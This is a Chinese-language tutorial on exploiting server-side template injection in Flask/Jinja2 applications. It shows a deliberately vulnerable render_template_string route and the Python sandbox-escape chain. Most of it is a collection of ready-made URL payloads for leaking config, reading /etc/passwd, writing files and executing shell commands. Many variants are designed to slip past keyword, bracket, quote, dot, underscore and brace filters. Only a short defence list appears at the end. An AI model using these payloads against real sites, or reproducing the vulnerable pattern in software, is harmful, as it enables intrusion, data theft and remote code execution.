详解Flask SSTI 利用与绕过技巧V2
字数 1127 2025-08-11 08:35:50

Flask SSTI 漏洞利用与绕过技巧详解

一、Flask SSTI基础

1.1 模板和模板引擎

模板是包含动态可替换部分的内容片段,模板引擎负责将数据填充到模板中生成最终HTML。Jinja2是Flask默认的模板引擎,支持三种语法:

  • 控制结构 {% %}
  • 变量取值 {{ }}
  • 注释 {# #}

1.2 模板渲染函数

Flask提供两个主要模板渲染函数:

1.2.1 render_template

from flask import Flask, render_template

app = Flask(__name__)

@app.route('/')
def index():
    name = request.args.get('name', 'test')
    return render_template("index.html", name=name)

index.html内容:

<h1>Hello {{ name }}!</h1>

1.2.2 render_template_string

from flask import Flask, render_template_string

app = Flask(__name__)

@app.route('/')
def index():
    name = request.args.get('name', 'test')
    template = '<h1>Hello {{ name }}!</h1>'
    return render_template_string(template, name=name)

1.3 SSTI成因

漏洞出现在使用字符串格式化而非模板变量时:

@app.route('/')
def index():
    name = request.args.get('name', 'test')
    template = '<h1>Hello %s!</h1>' % name  # 危险!使用字符串格式化
    return render_template_string(template, name=name)

当攻击者可以控制模板内容时,就能注入恶意模板代码。

二、沙箱逃逸

2.1 关键魔术方法

  • __class__: 返回实例所属的类
  • __mro__: 查看类继承的所有父类
  • __subclasses__(): 获取类的子类列表
  • __bases__: 返回直接继承的类(元组形式)
  • __init__: 类实例初始化方法
  • __globals__: 返回函数所在空间的模块、方法和变量字典
  • __builtins__: 包含所有内建函数的模块

2.2 沙箱逃逸流程

  1. 获取object类:

    ''.__class__.__mro__[1]  # Python3
    ''.__class__.__mro__[2]  # Python2
    
  2. 获取子类列表:

    ''.__class__.__mro__[1].__subclasses__()
    
  3. 查找可用的类:

    • 查找包含file的类(文件操作)
    • 查找重载过__init__的类(有__globals__属性)

    查找脚本:

    l = len([].__class__.__mro__[1].__subclasses__())
    for i in range(l):
        if 'wrapper' not in str([].__class__.__mro__[1].__subclasses__()[i].__init__):
            print(i, [].__class__.__mro__[1].__subclasses__()[i])
    
  4. 利用__globals__:

    [].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__
    
  5. 访问__builtins__:

    [].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__['__builtins__']
    

三、漏洞利用

3.1 XSS攻击

?name=<script>alert(1);</script>

3.2 敏感信息泄露

?name={{config}}
?name={{self.__dict__}}
?name={{url_for.__globals__['current_app'].config}}

3.3 文件读取

Python2:

?name={{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}

Python3:

?name={{''.__class__.__mro__[1].__subclasses__()[80].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()}}

3.4 文件写入

Python2:

?name={{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/test.txt','w').write('test')}}

3.5 命令执行

?name={{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].popen('whoami').read()}}
?name={{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()}}

四、过滤绕过

4.1 过滤关键字

4.1.1 字符串拼接

?name={{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__buil'+'tins__']['__imp'+'ort__']('o'+'s').popen('who'+'ami').read()}}

4.1.2 单双引号

?name={{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__bui''ltins__']['__impo''rt__']('o''s').popen('who''ami').read()}}

4.1.3 编码绕过

Base64:

?name={{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['X19pbXBvcnRfXw=='.decode('base64')]('os').popen('whoami').read()}}

Unicode:

?name={{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f']('os').popen('whoami').read()}}

4.2 过滤[]括号

4.2.1 __getitem__()绕过

?name={{''.__class__.__mro__[1].__subclasses__().__getitem__(139).__init__.__globals__.__getitem__('__builtins__').__getitem__('__import__')('os').popen('whoami').read()}}

4.2.2 点号绕过

?name={{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__('os').popen('whoami').read()}}

4.3 过滤引号

4.3.1 request对象

?name={{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__(request.args.v1).popen(request.values.v2).read()}}&v1=os&v2=whoami

4.3.2 chr函数

?name={% set chr=().__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.chr%}{{().__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__(chr(111)%2Bchr(115)).popen(chr(119)%2Bchr(104)%2Bchr(111)%2Bchr(97)%2Bchr(109)%2Bchr(105)).read()}}

4.4 过滤点号

4.4.1 中括号[]

?name={{''['__class__']['__mro__'][1]['__subclasses__']()[139]['__init__']['__globals__']['__builtins__']['eval']('__import__("os").popen("whoami").read()')}}

4.4.2 |attr()过滤器

?name={{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(139)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("whoami").read()')}}

4.5 过滤下划线

4.5.1 request对象

?name={{''[request.args.v1][request.args.v2][1][request.args.v3]()[139][request.args.v4][request.args.v5][request.args.v6][request.args.v7](request.args.v8)}}&v1=__class__&v2=__mro__&v3=__subclasses__&v4=__init__&v5=__globals__&v6=__builtins__&v7=eval&v8=__import__("os").popen("whoami").read()

4.6 过滤{{

4.6.1 {% if ... %}标签

{% if ''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__('os').popen('whoami').read() == 'root' %}1{% endif %}

4.6.2 {% print %}标签

{% print ''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__('os').popen('whoami').read() %}

五、防御措施

  1. 避免直接拼接用户输入到模板中
  2. 使用Flask的render_template而非render_template_string
  3. 对用户输入进行严格的过滤和转义
  4. 使用沙箱环境限制模板执行权限
  5. 定期更新Flask和Jinja2到最新版本
Flask SSTI 漏洞利用与绕过技巧详解 一、Flask SSTI基础 1.1 模板和模板引擎 模板是包含动态可替换部分的内容片段,模板引擎负责将数据填充到模板中生成最终HTML。Jinja2是Flask默认的模板引擎,支持三种语法: 控制结构 {% %} 变量取值 {{ }} 注释 {# #} 1.2 模板渲染函数 Flask提供两个主要模板渲染函数: 1.2.1 render_ template index.html 内容: 1.2.2 render_ template_ string 1.3 SSTI成因 漏洞出现在使用字符串格式化而非模板变量时: 当攻击者可以控制模板内容时,就能注入恶意模板代码。 二、沙箱逃逸 2.1 关键魔术方法 __class__ : 返回实例所属的类 __mro__ : 查看类继承的所有父类 __subclasses__() : 获取类的子类列表 __bases__ : 返回直接继承的类(元组形式) __init__ : 类实例初始化方法 __globals__ : 返回函数所在空间的模块、方法和变量字典 __builtins__ : 包含所有内建函数的模块 2.2 沙箱逃逸流程 获取object类 : 获取子类列表 : 查找可用的类 : 查找包含 file 的类(文件操作) 查找重载过 __init__ 的类(有 __globals__ 属性) 查找脚本: 利用 __globals__ : 访问 __builtins__ : 三、漏洞利用 3.1 XSS攻击 3.2 敏感信息泄露 3.3 文件读取 Python2: Python3: 3.4 文件写入 Python2: 3.5 命令执行 四、过滤绕过 4.1 过滤关键字 4.1.1 字符串拼接 4.1.2 单双引号 4.1.3 编码绕过 Base64: Unicode: 4.2 过滤[ ]括号 4.2.1 __getitem__() 绕过 4.2.2 点号绕过 4.3 过滤引号 4.3.1 request对象 4.3.2 chr函数 4.4 过滤点号 4.4.1 中括号[ ] 4.4.2 |attr() 过滤器 4.5 过滤下划线 4.5.1 request对象 4.6 过滤 {{ 4.6.1 {% if ... %} 标签 4.6.2 {% print %} 标签 五、防御措施 避免直接拼接用户输入到模板中 使用Flask的 render_template 而非 render_template_string 对用户输入进行严格的过滤和转义 使用沙箱环境限制模板执行权限 定期更新Flask和Jinja2到最新版本